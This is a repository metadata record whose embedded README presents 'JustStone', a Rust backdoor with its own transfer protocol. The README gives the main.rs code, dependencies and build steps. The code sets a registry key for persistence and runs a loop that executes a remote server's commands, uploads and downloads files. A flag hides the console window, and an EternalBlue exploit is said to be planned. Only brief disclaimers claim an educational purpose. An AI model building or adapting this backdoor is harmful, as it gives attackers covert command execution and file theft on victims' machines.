{"id":24373688,"url":"https://github.com/3qnrpdwd/juststone","last_synced_at":"2026-04-25T10:31:50.740Z","repository":{"id":199241406,"uuid":"702438780","full_name":"3QNRpDwD/JustStone","owner":"3QNRpDwD","description":"[ JustStoneTransferProtocol\u0026Backdoor ]  This project stems from my interest in protocols and security, leading to the creation of a small backdoor and a proprietary protocol.","archived":false,"fork":false,"pushed_at":"2024-07-23T12:39:01.000Z","size":410,"stargazers_count":2,"open_issues_count":2,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-12-26T21:53:05.469Z","etag":null,"topics":["api","backdoor","eternalblue","exploit","protocol","rust","secure","security","socket","socket-io"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/3QNRpDwD.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.md","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2023-10-09T10:15:08.000Z","updated_at":"2025-07-08T12:33:44.000Z","dependencies_parsed_at":"2023-11-11T00:25:56.115Z","dependency_job_id":"aee8ede4-c950-4315-8ce1-7ab57f991914","html_url":"https://github.com/3QNRpDwD/JustStone","commit_stats":null,"previous_names":["projectlonginus/juststone","3qnrpdwd/juststone"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/3QNRpDwD/JustStone","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3QNRpDwD%2FJustStone","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3QNRpDwD%2FJustStone/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3QNRpDwD%2FJustStone/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3QNRpDwD%2FJustStone/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/3QNRpDwD","download_url":"https://codeload.github.com/3QNRpDwD/JustStone/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3QNRpDwD%2FJustStone/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32259469,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-25T09:15:33.318Z","status":"ssl_error","status_checked_at":"2026-04-25T09:15:31.997Z","response_time":59,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["api","backdoor","eternalblue","exploit","protocol","rust","secure","security","socket","socket-io"],"created_at":"2025-01-19T05:12:20.076Z","updated_at":"2026-04-25T10:31:50.710Z","avatar_url":"https://github.com/3QNRpDwD.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"\r\n# JustStone\r\nJust StoneTransferProtocol\u0026amp;Backdoor\r\n=======\r\n# Project Overview\r\n\r\n# Introduction\r\n\r\nThis project stems from my interest in protocols and security, leading to the creation of a small backdoor and a proprietary protocol. The project is currently in development, with the backdoor's functionality completed and exploitation being implemented. I plan to use the EternalBlue exploit, and the entire backdoor and exploits are being developed exclusively in the Rust programming language.\r\n\r\n**Note:** This project is still in progress.\r\n\r\n## Features\r\n\r\n- **Backdoor Functionality:** The backdoor's core functionality is complete and can be found in the `main.rs` file.\r\n- **Exploits:** Exploits are being implemented in the `exploits.rs` file, currently featuring code for executing commands.\r\n- **Dedicated Protocol:** The backdoor utilizes a dedicated protocol implemented in the `stprotocol.rs` file. It supports basic functionalities such as file upload, file download, and command execution.\r\n- **Packet Structure:** The `structure.rs` file is dedicated to packet construction for the proprietary protocol, supporting packet conversion, serialization, and deserialization.\r\n- **Port**: The current backdoor protocol is utilizing port 6974. Please take note of this information when configuring or interacting with the backdoor.\r\n\r\nNote: Ensure that port 6974 is open and available for communication.\r\n\r\n# Usage\r\n\r\n## Dependency\r\n\r\nTo use this backdoor, you need the following libraries as dependencies. Include these dependencies in your project configuration:\r\n\r\n```rust\r\n[dependencies]\r\nencoding_rs = \"0.8.33\"\r\nsysinfo = \"0.30.1\"\r\nbstr = \"1.8.0\"\r\nwinreg = \"0.52.0\"\r\nwinapi = { version = \"0.3.9\", features = [\"winnt\", \"processthreadsapi\", \"securitybaseapi\"] }\r\n```\r\nMake sure to add these dependencies to your project's Cargo.toml file. This will ensure that the required libraries are available for the backdoor to function properly.\r\n\r\nIf you encounter any issues related to missing dependencies, please verify that these libraries are correctly added to your project configuration. If you have further questions or need assistance, refer to the documentation or relevant community resources for support.\r\n\r\n## Backdoor Configuration\r\n\r\nThe following is an example code for building a backdoor that is included in main.rs : \r\n\r\n```rust\r\nmod exploits;\r\nmod stprotocol;\r\nmod structure;\r\n\r\nuse crate::structure::StructStone;\r\nuse exploits::{is_elevated, setup_registry, try_run_as_admin, Exploits, Malware};\r\nuse std::thread;\r\nuse stprotocol::{Client, HandleClient, Session};\r\nuse structure::{Detector, Generator, StoneTransferProtocol};\r\n```\r\n\r\n- The `mod` statements import the necessary modules for the backdoor, including `exploits`, `stprotocol`, and `structure`. These modules encapsulate functionalities related to exploits, the stone transfer protocol, and packet structure, respectively.\r\n\r\n```rust\r\nfn main() {\r\n    match setup_registry() {\r\n        Ok(_) =\u003e {}\r\n        Err(_) =\u003e eprintln!(\r\n            \"Exploit Failure: Failed to register registry key, resulting in insecure execution.\"\r\n        ),\r\n    }\r\n```\r\n\r\n- The `main` function initiates the backdoor by calling `setup_registry()`, a function responsible for setting up the backdoor registry key. If successful, the backdoor proceeds; otherwise, an error message is printed.\r\n\r\n```rust\r\n    let handle_server = thread::spawn(|| event_loop());\r\n\r\n    handle_server\r\n        .join()\r\n        .expect(\"Connection to server is lost for unknown reasons. Backdoor terminated.\");\r\n}\r\n```\r\n\r\n- For seamless operation, it is recommended to utilize threads in the backdoor. A new thread `handle_server` is created to concurrently execute the `event_loop` function. This thread is responsible for continuous communication with the server.\r\n\r\n```rust\r\nfn event_loop() {\r\n    let mut exploit = Exploits::default();\r\n    let mut client = Session::new(\"127.0.0.1:6974\".to_string());\r\n\r\n    loop {\r\n        // Loop for continuous communication with the server after creating a session\r\n\r\n        client.receiving(StructStone::default()); // HandleClient::new(Session::new(\"127.0.0.1:6974\".to_string())); // Creating a handler and waiting for the server's response\r\n\r\n        match client.get_packet().get_type() {\r\n            // Generate requests based on the server's response type\r\n            StoneTransferProtocol::ExecuteCmd =\u003e {\r\n                // If the type is ExecuteCmd\r\n                client.exploit(exploit.command(client.get_packet()));\r\n            }\r\n            StoneTransferProtocol::Download =\u003e {\r\n                // If the type is Download\r\n                client.download();\r\n            }\r\n            StoneTransferProtocol::Upload =\u003e {\r\n                // If the type is Upload\r\n                client.upload();\r\n            }\r\n            StoneTransferProtocol::Disconnect =\u003e {\r\n                client.disconnect();\r\n                break;\r\n            }\r\n            // If the server's response is Disconnect, terminate the connection\r\n\r\n            _ =\u003e client.send(client.get_packet().get_stone()),\r\n            // If the response type is not mentioned above, send a request similar to the server's response\r\n        };\r\n    }\r\n}\r\n```\r\n\r\n- The `event_loop` function represents the core of the backdoor, managing communication with the server. It continuously receives and processes packets from the server, generating appropriate responses based on the packet's type.\r\n\r\n   - If the packet type is `StoneTransferProtocol::ExecuteCmd`, the backdoor exploits the command received from the server using the `exploit` module.\r\n   - If the type is `StoneTransferProtocol::Download`, the backdoor initiates the download process.\r\n   - If the type is `StoneTransferProtocol::Upload`, the backdoor triggers the upload process.\r\n   - If the type is `StoneTransferProtocol::Disconnect`, the backdoor disconnects from the server, terminating the loop.\r\n\r\n   - For any other packet type, the backdoor sends a request similar to the server's response.\r\n\r\nThis event loop structure allows the backdoor to effectively communicate with the server, execute commands, and perform various actions based on the server's instructions. Customize the code as needed for your specific use case or functionality requirements.\r\n\r\n**Note:** Ensure that the backdoor is used responsibly and in compliance with legal and ethical standards. Unauthorized and malicious use is strictly prohibited.\r\n\r\n## Building the Backdoor\r\n\r\nAfter writing the code in the `main.rs` file, the next step is to build the backdoor using the following command:\r\n\r\n```bash\r\ncargo build --release\r\n```\r\n\r\nThis command instructs Cargo, the Rust package manager, to build your project in release mode. The `--release` flag ensures that the compiler applies optimizations for better performance.\r\n\r\nUpon successful execution of the command, Cargo will compile your Rust project and generate the executable binary. You can then run the backdoor using the generated binary.\r\n\r\nRemember to handle any potential compilation errors or missing dependencies. If encountered, refer to the error messages for guidance on resolving issues related to the code or dependencies.\r\n\r\nOnce the build process is complete, you can find the compiled binary in the `target/release/` directory. Run the backdoor executable to initiate the backdoor functionality.\r\n\r\n## Windows Subsystem Flag for Building in Release Mode\r\n\r\nIf you are building the backdoor for release, and debugging is not a priority, you should add the `#![windows_subsystem = \"windows\"]` flag at the top of the `main.rs` file. This flag configures the Windows subsystem for the binary, which is useful for releasing applications without displaying a console window.\r\n\r\nHere's an example of how to include the flag in your `main.rs` file:\r\n\r\n```rust\r\n#![windows_subsystem = \"windows\"]\r\n\r\nmod exploits;\r\nmod stprotocol;\r\nmod structure;\r\n\r\nuse exploits::{is_elevated, setup_registry, try_run_as_admin, Exploits, Malware};\r\nuse std::thread\r\nuse stprotocol::{Client, Session};\r\nuse structure::{Detector, Generator, StoneTransferProtocol, StructStone};\r\n\r\n// Rest of your code...\r\n```\r\n\r\nIncluding this flag ensures that when you build the backdoor in release mode, it won't display a console window. Note that this may make debugging more challenging, so use this flag only when you're preparing a release version of your application.\r\n\r\nRemember to rebuild the project after adding this flag using the `cargo build --release` command.\r\n\r\n## Customization\r\n\r\nIf you wish to customize this project, you can modify the code in the respective files: exploits.rs, stprotocol.rs, and structure.rs. Follow the provided comments for guidance.\r\n\r\nFeel free to tailor the code to your specific requirements and functionalities. Remember to consider security implications and best practices when making changes.\r\n\r\nNote: Ensure that your modifications comply with ethical standards and legal regulations. Unauthorized use of this code for malicious purposes is strictly prohibited.\r\n\r\n## Python Server\r\n\r\nThis project includes a dedicated Python server. If you want the Python server, please visit [JustServer](https://github.com/3QNRpDwD/JustServer).\r\n\r\n## How to Contribute\r\n\r\n1. Fork this repository.\r\n2. Create a new branch (`git checkout -b feature/new-feature`).\r\n3. Make your changes (`git commit -am 'Add new feature'`).\r\n4. Push to the branch (`git push origin feature/new-feature`).\r\n5. Open a Pull Request.\r\n\r\n## License\r\n\r\nMIT License\r\n\r\nCopyright (c) 2024 2QNRpDwD\r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a copy\r\nof this software and associated documentation files (the \"Software\"), to deal\r\nin the Software without restriction, including without limitation the rights\r\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\ncopies of the Software, and to permit persons to whom the Software is\r\nfurnished to do so, subject to the following conditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in all\r\ncopies or substantial portions of the Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\nSOFTWARE.\r\n\r\n**Disclaimer:** This project is for educational purposes only. Unauthorized use is strictly prohibited.\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F3qnrpdwd%2Fjuststone","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F3qnrpdwd%2Fjuststone","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F3qnrpdwd%2Fjuststone/lists"}